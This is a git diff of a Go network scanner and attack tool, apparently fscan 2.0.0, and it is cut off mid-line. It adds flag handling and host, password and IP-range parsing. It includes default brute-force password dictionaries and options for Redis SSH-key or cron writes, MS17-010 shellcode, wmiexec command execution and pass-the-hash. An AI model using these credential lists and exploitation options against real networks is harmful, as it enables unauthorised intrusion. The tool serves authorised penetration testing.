diff --git a/.gitignore b/.gitignore index 387c6056..c4666632 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,3 @@ result.txt +main +.idea diff --git a/common/config.go b/Common/Config.go similarity index 88% rename from common/config.go rename to Common/Config.go index e487c96f..580d1a29 100644 --- a/common/config.go +++ b/Common/Config.go @@ -1,6 +1,6 @@ -package common +package Common -var version = "1.8.4" +var version = "2.0.0" var Userdict = map[string][]string{ "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, "mysql": {"root", "mysql"}, @@ -14,33 +14,7 @@ var Userdict = map[string][]string{ } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} -var PORTList = map[string]int{ - "ftp": 21, - "ssh": 22, - "findnet": 135, - "netbios": 139, - "smb": 445, - "mssql": 1433, - "oracle": 1521, - "mysql": 3306, - "rdp": 3389, - "psql": 5432, - "redis": 6379, - "fcgi": 9000, - "mem": 11211, - "mgo": 27017, - "ms17010": 1000001, - "cve20200796": 1000002, - "web": 1000003, - "webonly": 1000003, - "webpoc": 1000003, - "smb2": 1000004, - "wmiexec": 1000005, - "all": 0, - "portscan": 0, - "icmp": 0, - "main": 0, -} + var PortGroup = map[string]string{ "ftp": "21", "ssh": "22", @@ -69,13 +43,6 @@ var IsSave = true var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" -type HostInfo struct { - Host string - Ports string - Url string - Infostr []string -} - type PocInfo struct { Target string PocName string diff --git a/Common/Flag.go b/Common/Flag.go new file mode 100644 index 00000000..505dd79b --- /dev/null +++ b/Common/Flag.go @@ -0,0 +1,93 @@ +package Common + +import ( + "flag" +) + +func Banner() { + banner := ` + ___ _ + / _ \ ___ ___ _ __ __ _ ___| | __ + / /_\/____/ __|/ __| '__/ _` + "`" + ` |/ __| |/ / +/ /_\\_____\__ \ (__| | | (_| | (__| < +\____/ |___/\___|_| \__,_|\___|_|\_\ + fscan version: ` + version + ` +` + print(banner) +} + +func Flag(Info *HostInfo) { + Banner() + + // 目标配置 + flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") + flag.StringVar(&NoHosts, "hn", "", "排除的主机范围,例如: -hn 192.168.1.1/24") + flag.StringVar(&Ports, "p", DefaultPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306") + flag.StringVar(&PortAdd, "pa", "", "在默认端口基础上添加端口,-pa 3389") + flag.StringVar(&NoPorts, "pn", "", "排除的端口,例如: -pn 445") + + // 认证配置 + flag.StringVar(&UserAdd, "usera", "", "在默认用户列表基础上添加用户,-usera user") + flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password") + flag.StringVar(&Username, "user", "", "用户名") + flag.StringVar(&Password, "pwd", "", "密码") + flag.StringVar(&Domain, "domain", "", "域名(用于SMB)") + flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)") + + // 扫描配置 + flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh") + flag.IntVar(&Threads, "t", 600, "线程数量") + flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)") + flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量") + flag.BoolVar(&NoPing, "np", false, "禁用存活探测") + flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP") + flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)") + + // 文件配置 + flag.StringVar(&HostFile, "hf", "", "主机列表文件") + flag.StringVar(&Userfile, "userf", "", "用户名字典") + flag.StringVar(&Passfile, "pwdf", "", "密码字典") + flag.StringVar(&Hashfile, "hashf", "", "Hash字典") + flag.StringVar(&PortFile, "portf", "", "端口列表文件") + + // Web配置 + flag.StringVar(&URL, "u", "", "目标URL") + flag.StringVar(&UrlFile, "uf", "", "URL列表文件") + flag.StringVar(&Cookie, "cookie", "", "设置Cookie") + flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间") + flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理") + flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)") + + // POC配置 + flag.StringVar(&PocPath, "pocpath", "", "POC文件路径") + flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic") + flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描") + flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key") + flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证") + flag.IntVar(&PocNum, "num", 20, "POC并发数") + + // Redis利用配置 + flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件") + flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务") + flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测") + + // 暴力破解配置 + flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破") + flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数") + + // 其他配置 + flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径") + flag.StringVar(&Hash, "hash", "", "Hash值") + flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode") + flag.BoolVar(&IsWmi, "wmi", false, "启用WMI") + + // 输出配置 + flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件") + flag.BoolVar(&TmpSave, "no", false, "禁用结果保存") + flag.BoolVar(&Silent, "silent", false, "静默扫描模式") + flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出") + flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出") + flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔") + + flag.Parse() +} diff --git a/common/log.go b/Common/Log.go similarity index 56% rename from common/log.go rename to Common/Log.go index 7f48f51b..c76f9a8b 100644 --- a/common/log.go +++ b/Common/Log.go @@ -1,4 +1,4 @@ -package common +package Common import ( "encoding/json" @@ -12,49 +12,60 @@ import ( "time" ) -var Num int64 -var End int64 -var Results = make(chan *string) -var LogSucTime int64 -var LogErrTime int64 -var WaitTime int64 -var Silent bool -var Nocolor bool -var JsonOutput bool -var LogWG sync.WaitGroup +// 记录扫描状态的全局变量 +var ( + Num int64 // 总任务数 + End int64 // 已完成数 + Results = make(chan *string) // 结果通道 + LogSucTime int64 // 最近成功日志时间 + LogErrTime int64 // 最近错误日志时间 + WaitTime int64 // 等待时间 + Silent bool // 静默模式 + Nocolor bool // 禁用颜色 + JsonOutput bool // JSON输出 + LogWG sync.WaitGroup // 日志同步等待组 +) +// JsonText JSON输出的结构体 type JsonText struct { - Type string `json:"type"` - Text string `json:"text"` + Type string `json:"type"` // 消息类型 + Text string `json:"text"` // 消息内容 } +// init 初始化日志配置 func init() { log.SetOutput(io.Discard) LogSucTime = time.Now().Unix() go SaveLog() } +// LogSuccess 记录成功信息 func LogSuccess(result string) { LogWG.Add(1) LogSucTime = time.Now().Unix() Results <- &result } +// SaveLog 保存日志信息 func SaveLog() { for result := range Results { + // 打印日志 if !Silent { if Nocolor { fmt.Println(*result) } else { - if strings.HasPrefix(*result, "[+] InfoScan") { + switch { + case strings.HasPrefix(*result, "[+] 信息扫描"): color.Green(*result) - } else if strings.HasPrefix(*result, "[+]") { + case strings.HasPrefix(*result, "[+]"): color.Red(*result) - } else { + default: fmt.Println(*result) } } } + + // 保存到文件 if IsSave { WriteFile(*result, Outputfile) } @@ -62,17 +73,20 @@ func SaveLog() { } } +// WriteFile 写入文件 func WriteFile(result string, filename string) { + // 打开文件 fl, err := os.OpenFile(filename, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666) if err != nil { - fmt.Printf("Open %s error, %v\n", filename, err) + fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) return } + defer fl.Close() + if JsonOutput { - var scantype string - var text string + // 解析JSON格式 + var scantype, text string if strings.HasPrefix(result, "[+]") || strings.HasPrefix(result, "[*]") || strings.HasPrefix(result, "[-]") { - //找到第二个空格的位置 index := strings.Index(result[4:], " ") if index == -1 { scantype = "msg" @@ -85,47 +99,51 @@ func WriteFile(result string, filename string) { scantype = "msg" text = result } + + // 构造JSON对象 jsonText := JsonText{ Type: scantype, Text: text, } + + // 序列化JSON jsonData, err := json.Marshal(jsonText) if err != nil { - fmt.Println(err) + fmt.Printf("[!] JSON序列化失败: %v\n", err) jsonText = JsonText{ Type: "msg", Text: result, } - jsonData, err = json.Marshal(jsonText) - if err != nil { - fmt.Println(err) - jsonData = []byte(result) - } + jsonData, _ = json.Marshal(jsonText) } jsonData = append(jsonData, []byte(",\n")...) _, err = fl.Write(jsonData) } else { _, err = fl.Write([]byte(result + "\n")) } - fl.Close() + if err != nil { - fmt.Printf("Write %s error, %v\n", filename, err) + fmt.Printf("[!] 写入文件失败 %s: %v\n", filename, err) } } +// LogError 记录错误信息 func LogError(errinfo interface{}) { if WaitTime == 0 { - fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) + fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) } else if (time.Now().Unix()-LogSucTime) > WaitTime && (time.Now().Unix()-LogErrTime) > WaitTime { - fmt.Printf("已完成 %v/%v %v \n", End, Num, errinfo) + fmt.Printf("[*] 已完成 %v/%v %v\n", End, Num, errinfo) LogErrTime = time.Now().Unix() } } +// CheckErrs 检查是否为已知错误 func CheckErrs(err error) bool { if err == nil { return false } + + // 已知错误列表 errs := []string{ "closed by the remote host", "too many connections", "i/o timeout", "EOF", "A connection attempt failed", @@ -136,10 +154,14 @@ func CheckErrs(err error) bool { "invalid packet size", "bad connection", } + + // 检查错误是否匹配 + errLower := strings.ToLower(err.Error()) for _, key := range errs { - if strings.Contains(strings.ToLower(err.Error()), strings.ToLower(key)) { + if strings.Contains(errLower, strings.ToLower(key)) { return true } } + return false } diff --git a/Common/Parse.go b/Common/Parse.go new file mode 100644 index 00000000..1dab7f6b --- /dev/null +++ b/Common/Parse.go @@ -0,0 +1,392 @@ +package Common + +import ( + "bufio" + "encoding/hex" + "flag" + "fmt" + "net/url" + "os" + "strconv" + "strings" +) + +func Parse(Info *HostInfo) { + ParseUser() + ParsePass(Info) + ParseInput(Info) + ParseScantype(Info) +} + +// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取 +func ParseUser() error { + // 如果未指定用户名和用户名文件,直接返回 + if Username == "" && Userfile == "" { + return nil + } + + var usernames []string + + // 处理直接指定的用户名列表 + if Username != "" { + usernames = strings.Split(Username, ",") + fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames)) + } + + // 从文件加载用户名列表 + if Userfile != "" { + users, err := Readfile(Userfile) + if err != nil { + return fmt.Errorf("读取用户名文件失败: %v", err) + } + + // 过滤空用户名 + for _, user := range users { + if user != "" { + usernames = append(usernames, user) + } + } + fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users)) + } + + // 去重处理 + usernames = RemoveDuplicate(usernames) + fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames)) + + // 更新用户字典 + for name := range Userdict { + Userdict[name] = usernames + } + + return nil +} + +// ParsePass 解析密码、哈希值、URL和端口配置 +func ParsePass(Info *HostInfo) error { + // 处理直接指定的密码列表 + var pwdList []string + if Password != "" { + passes := strings.Split(Password, ",") + for _, pass := range passes { + if pass != "" { + pwdList = append(pwdList, pass) + } + } + Passwords = pwdList + fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList)) + } + + // 从文件加载密码列表 + if Passfile != "" { + passes, err := Readfile(Passfile) + if err != nil { + return fmt.Errorf("读取密码文件失败: %v", err) + } + for _, pass := range passes { + if pass != "" { + pwdList = append(pwdList, pass) + } + } + Passwords = pwdList + fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes)) + } + + // 处理哈希文件 + if Hashfile != "" { + hashes, err := Readfile(Hashfile) + if err != nil { + return fmt.Errorf("读取哈希文件失败: %v", err) + } + + validCount := 0 + for _, line := range hashes { + if line == "" { + continue + } + if len(line) == 32 { + Hashs = append(Hashs, line) + validCount++ + } else { + fmt.Printf("[!] 无效的哈希值(长度!=32): %s\n", line) + } + } + fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount) + } + + // 处理直接指定的URL列表 + if URL != "" { + urls := strings.Split(URL, ",") + tmpUrls := make(map[string]struct{}) + for _, url := range urls { + if url != "" { + if _, ok := tmpUrls[url]; !ok { + tmpUrls[url] = struct{}{} + Urls = append(Urls, url) + } + } + } + fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(Urls)) + } + + // 从文件加载URL列表 + if UrlFile != "" { + urls, err := Readfile(UrlFile) + if err != nil { + return fmt.Errorf("读取URL文件失败: %v", err) + } + + tmpUrls := make(map[string]struct{}) + for _, url := range urls { + if url != "" { + if _, ok := tmpUrls[url]; !ok { + tmpUrls[url] = struct{}{} + Urls = append(Urls, url) + } + } + } + fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls)) + } + + // 从文件加载端口列表 + if PortFile != "" { + ports, err := Readfile(PortFile) + if err != nil { + return fmt.Errorf("读取端口文件失败: %v", err) + } + + var newport strings.Builder + for _, port := range ports { + if port != "" { + newport.WriteString(port) + newport.WriteString(",") + } + } + Ports = newport.String() + fmt.Printf("[*] 已从文件加载端口配置\n") + } + + return nil +} + +// Readfile 读取文件内容并返回非空行的切片 +func Readfile(filename string) ([]string, error) { + // 打开文件 + file, err := os.Open(filename) + if err != nil { + fmt.Printf("[!] 打开文件 %s 失败: %v\n", filename, err) + return nil, err + } + defer file.Close() + + var content []string + scanner := bufio.NewScanner(file) + scanner.Split(bufio.ScanLines) + + // 逐行读取文件内容 + lineCount := 0 + for scanner.Scan() { + text := strings.TrimSpace(scanner.Text()) + if text != "" { + content = append(content, text) + lineCount++ + } + } + + // 检查扫描过程中是否有错误 + if err := scanner.Err(); err != nil { + fmt.Printf("[!] 读取文件 %s 时出错: %v\n", filename, err) + return nil, err + } + + fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount) + return content, nil +} + +// ParseInput 解析和验证输入参数配置 +func ParseInput(Info *HostInfo) error { + // 检查必要的目标参数 + if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { + fmt.Println("[!] 未指定扫描目标") + flag.Usage() + return fmt.Errorf("必须指定扫描目标") + } + + // 配置基本参数 + if BruteThread <= 0 { + BruteThread = 1 + fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThread) + } + + if TmpSave { + IsSave = false + fmt.Println("[*] 已启用临时保存模式") + } + + // 处理端口配置 + if Ports == DefaultPorts { + Ports += "," + Webport + } + + if PortAdd != "" { + if strings.HasSuffix(Ports, ",") { + Ports += PortAdd + } else { + Ports += "," + PortAdd + } + fmt.Printf("[*] 已添加额外端口: %s\n", PortAdd) + } + + // 处理用户名配置 + if UserAdd != "" { + users := strings.Split(UserAdd, ",") + for dict := range Userdict { + Userdict[dict] = append(Userdict[dict], users...) + Userdict[dict] = RemoveDuplicate(Userdict[dict]) + } + fmt.Printf("[*] 已添加额外用户名: %s\n", UserAdd) + } + + // 处理密码配置 + if PassAdd != "" { + passes := strings.Split(PassAdd, ",") + Passwords = append(Passwords, passes...) + Passwords = RemoveDuplicate(Passwords) + fmt.Printf("[*] 已添加额外密码: %s\n", PassAdd) + } + + // 处理Socks5代理配置 + if Socks5Proxy != "" { + if !strings.HasPrefix(Socks5Proxy, "socks5://") { + if !strings.Contains(Socks5Proxy, ":") { + Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy + } else { + Socks5Proxy = "socks5://" + Socks5Proxy + } + } + + _, err := url.Parse(Socks5Proxy) + if err != nil { + return fmt.Errorf("Socks5代理格式错误: %v", err) + } + NoPing = true + fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy) + } + + // 处理HTTP代理配置 + if Proxy != "" { + switch Proxy { + case "1": + Proxy = "http://127.0.0.1:8080" + case "2": + Proxy = "socks5://127.0.0.1:1080" + default: + if !strings.Contains(Proxy, "://") { + Proxy = "http://127.0.0.1:" + Proxy + } + } + + if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") { + return fmt.Errorf("不支持的代理类型") + } + + _, err := url.Parse(Proxy) + if err != nil { + return fmt.Errorf("代理格式错误: %v", err) + } + fmt.Printf("[*] 使用代理: %s\n", Proxy) + } + + // 处理Hash配置 + if Hash != "" { + if len(Hash) != 32 { + return fmt.Errorf("Hash长度必须为32位") + } + Hashs = append(Hashs, Hash) + } + + // 处理Hash列表 + Hashs = RemoveDuplicate(Hashs) + for _, hash := range Hashs { + hashByte, err := hex.DecodeString(hash) + if err != nil { + fmt.Printf("[!] Hash解码失败: %s\n", hash) + continue + } + HashBytes = append(HashBytes, hashByte) + } + Hashs = []string{} + + return nil +} + +// ParseScantype 解析扫描类型并设置对应的端口 +func ParseScantype(Info *HostInfo) error { + // 先处理特殊扫描类型 + specialTypes := map[string]string{ + "hostname": "135,137,139,445", + "webonly": Webport, + "webpoc": Webport, + "web": Webport, + "portscan": DefaultPorts + "," + Webport, + "main": DefaultPorts, + "all": DefaultPorts + "," + Webport, + "icmp": "", // ICMP不需要端口 + } + + // 如果是特殊扫描类型 + if customPorts, isSpecial := specialTypes[Scantype]; isSpecial { + if Scantype != "all" && Ports == DefaultPorts+","+Webport { + Ports = customPorts + } + fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", Scantype, Ports) + return nil + } + + // 检查是否是注册的插件类型 + plugin, validType := PluginManager[Scantype] + if !validType { + showmode() + return fmt.Errorf("无效的扫描类型: %s", Scantype) + } + + // 如果是插件扫描且使用默认端口配置 + if Ports == DefaultPorts+","+Webport { + if plugin.Port > 0 { + Ports = strconv.Itoa(plugin.Port) + } + fmt.Printf("[*] 扫描类型: %s, 目标端口: %s\n", plugin.Name, Ports) + } + + return nil +} + +// showmode 显示所有支持的扫描类型 +func showmode() { + fmt.Println("[!] 指定的扫描类型不存在") + fmt.Println("[*] 支持的扫描类型:") + + // 显示常规服务扫描类型 + fmt.Println("\n[+] 常规服务扫描:") + for name, plugin := range PluginManager { + if plugin.Port > 0 && plugin.Port < 1000000 { + fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port) + } + } + + // 显示特殊漏洞扫描类型 + fmt.Println("\n[+] 特殊漏洞扫描:") + for name, plugin := range PluginManager { + if plugin.Port >= 1000000 || plugin.Port == 0 { + fmt.Printf(" - %-10s\n", name) + } + } + + // 显示其他扫描类型 + fmt.Println("\n[+] 其他扫描类型:") + specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"} + for _, name := range specialTypes { + fmt.Printf(" - %s\n", name) + } + + os.Exit(0) +} diff --git a/Common/ParseIP.go b/Common/ParseIP.go new file mode 100644 index 00000000..8d2c4dff --- /dev/null +++ b/Common/ParseIP.go @@ -0,0 +1,380 @@ +package Common + +import ( + "bufio" + "errors" + "fmt" + "math/rand" + "net" + "os" + "regexp" + "sort" + "strconv" + "strings" +) + +var ParseIPErr = errors.New("主机解析错误\n" + + "支持的格式: \n" + + "192.168.1.1 (单个IP)\n" + + "192.168.1.1/8 (8位子网)\n" + + "192.168.1.1/16 (16位子网)\n" + + "192.168.1.1/24 (24位子网)\n" + + "192.168.1.1,192.168.1.2 (IP列表)\n" + + "192.168.1.1-192.168.255.255 (IP范围)\n" + + "192.168.1.1-255 (最后一位简写范围)") + +// ParseIP 解析IP地址配置,支持从主机字符串和文件读取 +func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { + // 处理主机和端口组合的情况 (192.168.0.0/16:80) + if filename == "" && strings.Contains(host, ":") { + hostport := strings.Split(host, ":") + if len(hostport) == 2 { + host = hostport[0] + hosts = ParseIPs(host) + Ports = hostport[1] + fmt.Printf("[*] 已解析主机端口组合,端口设置为: %s\n", Ports) + } + } else { + // 解析主机地址 + hosts = ParseIPs(host) + + // 从文件加载额外主机 + if filename != "" { + fileHosts, err := Readipfile(filename) + if err != nil { + fmt.Printf("[!] 读取主机文件失败: %v\n", err) + } else { + hosts = append(hosts, fileHosts...) + fmt.Printf("[*] 已从文件加载额外主机: %d 个\n", len(fileHosts)) + } + } + } + + // 处理排除主机 + if len(nohosts) > 0 && nohosts[0] != "" { + excludeHosts := ParseIPs(nohosts[0]) + if len(excludeHosts) > 0 { + // 使用map存储有效主机 + temp := make(map[string]struct{}) + for _, host := range hosts { + temp[host] = struct{}{} + } + + // 删除需要排除的主机 + for _, host := range excludeHosts { + delete(temp, host) + } + + // 重建主机列表 + var newHosts []string + for host := range temp { + newHosts = append(newHosts, host) + } + hosts = newHosts + sort.Strings(hosts) + fmt.Printf("[*] 已排除指定主机: %d 个\n", len(excludeHosts)) + } + } + + // 去重处理 + hosts = RemoveDuplicate(hosts) + fmt.Printf("[*] 最终有效主机数量: %d\n", len(hosts)) + + // 检查解析结果 + if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") { + return nil, ParseIPErr + } + + return hosts, nil +} + +func ParseIPs(ip string) (hosts []string) { + if strings.Contains(ip, ",") { + IPList := strings.Split(ip, ",") + var ips []string + for _, ip := range IPList { + ips = parseIP(ip) + hosts = append(hosts, ips...) + } + } else { + hosts = parseIP(ip) + } + return hosts +} + +// parseIP 解析不同格式的IP地址,返回解析后的IP列表 +func parseIP(ip string) []string { + reg := regexp.MustCompile(`[a-zA-Z]+`) + + switch { + // 处理常用内网IP段简写 + case ip == "192": + return parseIP("192.168.0.0/8") + case ip == "172": + return parseIP("172.16.0.0/12") + case ip == "10": + return parseIP("10.0.0.0/8") + + // 处理/8网段 - 仅扫描网关和随机IP以避免过多扫描 + case strings.HasSuffix(ip, "/8"): + return parseIP8(ip) + + // 处理CIDR格式 (/24 /16 /8等) + case strings.Contains(ip, "/"): + return parseIP2(ip) + + // 处理域名 - 保留域名格式 + case reg.MatchString(ip): + return []string{ip} + + // 处理IP范围格式 (192.168.1.1-192.168.1.100) + case strings.Contains(ip, "-"): + return parseIP1(ip) + + // 处理单个IP地址 + default: + testIP := net.ParseIP(ip) + if testIP == nil { + fmt.Printf("[!] 无效的IP地址格式: %s\n", ip) + return nil + } + return []string{ip} + } +} + +// parseIP2 解析CIDR格式的IP地址段 +func parseIP2(host string) []string { + // 解析CIDR + _, ipNet, err := net.ParseCIDR(host) + if err != nil { + fmt.Printf("[!] CIDR格式解析失败: %s, %v\n", host, err) + return nil + } + + // 转换为IP范围并解析 + ipRange := IPRange(ipNet) + hosts := parseIP1(ipRange) + + fmt.Printf("[*] 已解析CIDR %s -> IP范围 %s\n", host, ipRange) + return hosts +} + +// parseIP1 解析IP范围格式的地址 +func parseIP1(ip string) []string { + ipRange := strings.Split(ip, "-") + testIP := net.ParseIP(ipRange[0]) + var allIP []string + + // 处理简写格式 (192.168.111.1-255) + if len(ipRange[1]) < 4 { + endNum, err := strconv.Atoi(ipRange[1]) + if testIP == nil || endNum > 255 || err != nil { + fmt.Printf("[!] IP范围格式错误: %s\n", ip) + return nil + } + + // 解析IP段 + splitIP := strings.Split(ipRange[0], ".") + startNum, err1 := strconv.Atoi(splitIP[3]) + endNum, err2 := strconv.Atoi(ipRange[1]) + prefixIP := strings.Join(splitIP[0:3], ".") + + if startNum > endNum || err1 != nil || err2 != nil { + fmt.Printf("[!] IP范围无效: %d-%d\n", startNum, endNum) + return nil + } + + // 生成IP列表 + for i := startNum; i <= endNum; i++ { + allIP = append(allIP, prefixIP+"."+strconv.Itoa(i)) + } + + fmt.Printf("[*] 已生成IP范围: %s.%d - %s.%d\n", prefixIP, startNum, prefixIP, endNum) + } else { + // 处理完整IP范围格式 (192.168.111.1-192.168.112.255) + splitIP1 := strings.Split(ipRange[0], ".") + splitIP2 := strings.Split(ipRange[1], ".") + + if len(splitIP1) != 4 || len(splitIP2) != 4 { + fmt.Printf("[!] IP格式错误: %s\n", ip) + return nil + } + + // 解析起始和结束IP + start, end := [4]int{}, [4]int{} + for i := 0; i < 4; i++ { + ip1, err1 := strconv.Atoi(splitIP1[i]) + ip2, err2 := strconv.Atoi(splitIP2[i]) + if ip1 > ip2 || err1 != nil || err2 != nil { + fmt.Printf("[!] IP范围无效: %s-%s\n", ipRange[0], ipRange[1]) + return nil + } + start[i], end[i] = ip1, ip2 + } + + // 将IP转换为数值并生成范围内的所有IP + startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3] + endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3] + + for num := startNum; num <= endNum; num++ { + ip := strconv.Itoa((num>>24)&0xff) + "." + + strconv.Itoa((num>>16)&0xff) + "." + + strconv.Itoa((num>>8)&0xff) + "." + + strconv.Itoa((num)&0xff) + allIP = append(allIP, ip) + } + + fmt.Printf("[*] 已生成IP范围: %s - %s\n", ipRange[0], ipRange[1]) + } + + return allIP +} + +// IPRange 计算CIDR的起始IP和结束IP +func IPRange(c *net.IPNet) string { + // 获取起始IP + start := c.IP.String() + + // 获取子网掩码 + mask := c.Mask + + // 计算广播地址(结束IP) + bcst := make(net.IP, len(c.IP)) + copy(bcst, c.IP) + + // 通过位运算计算最大IP地址 + for i := 0; i < len(mask); i++ { + ipIdx := len(bcst) - i - 1 + bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1] + } + end := bcst.String() + + // 返回"起始IP-结束IP"格式的字符串 + result := fmt.Sprintf("%s-%s", start, end) + fmt.Printf("[*] CIDR范围: %s\n", result) + + return result +} + +// Readipfile 从文件中按行读取IP地址 +func Readipfile(filename string) ([]string, error) { + // 打开文件 + file, err := os.Open(filename) + if err != nil { + fmt.Printf("[!] 打开文件失败 %s: %v\n", filename, err) + return nil, err + } + defer file.Close() + + var content []string + scanner := bufio.NewScanner(file) + scanner.Split(bufio.ScanLines) + + // 逐行处理IP + for scanner.Scan() { + line := strings.TrimSpace(scanner.Text()) + if line == "" { + continue + } + + // 解析IP:端口格式 + text := strings.Split(line, ":") + if len(text) == 2 { + port := strings.Split(text[1], " ")[0] + num, err := strconv.Atoi(port) + if err != nil || num < 1 || num > 65535 { + fmt.Printf("[!] 忽略无效端口: %s\n", line) + continue + } + + // 解析带端口的IP地址 + hosts := ParseIPs(text[0]) + for _, host := range hosts { + HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port)) + } + fmt.Printf("[*] 已解析IP端口组合: %s\n", line) + } else { + // 解析纯IP地址 + hosts := ParseIPs(line) + content = append(content, hosts...) + fmt.Printf("[*] 已解析IP地址: %s\n", line) + } + } + + // 检查扫描过程中是否有错误 + if err := scanner.Err(); err != nil { + fmt.Printf("[!] 读取文件时出错: %v\n", err) + return content, err + } + + fmt.Printf("[*] 从文件加载完成,共解析 %d 个IP地址\n", len(content)) + return content, nil +} + +// RemoveDuplicate 对字符串切片进行去重 +func RemoveDuplicate(old []string) []string { + // 使用map存储不重复的元素 + temp := make(map[string]struct{}) + var result []string + + // 遍历并去重 + for _, item := range old { + if _, exists := temp[item]; !exists { + temp[item] = struct{}{} + result = append(result, item) + } + } + + return result +} + +// parseIP8 解析/8网段的IP地址 +func parseIP8(ip string) []string { + // 去除CIDR后缀获取基础IP + realIP := ip[:len(ip)-2] + testIP := net.ParseIP(realIP) + + if testIP == nil { + fmt.Printf("[!] 无效的IP地址格式: %s\n", realIP) + return nil + } + + // 获取/8网段的第一段 + ipRange := strings.Split(ip, ".")[0] + var allIP []string + + fmt.Printf("[*] 开始解析 %s.0.0.0/8 网段\n", ipRange) + + // 遍历所有可能的第二、三段 + for a := 0; a <= 255; a++ { + for b := 0; b <= 255; b++ { + // 添加常用网关IP + allIP = append(allIP, fmt.Sprintf("%s.%d.%d.1", ipRange, a, b)) // 默认网关 + allIP = append(allIP, 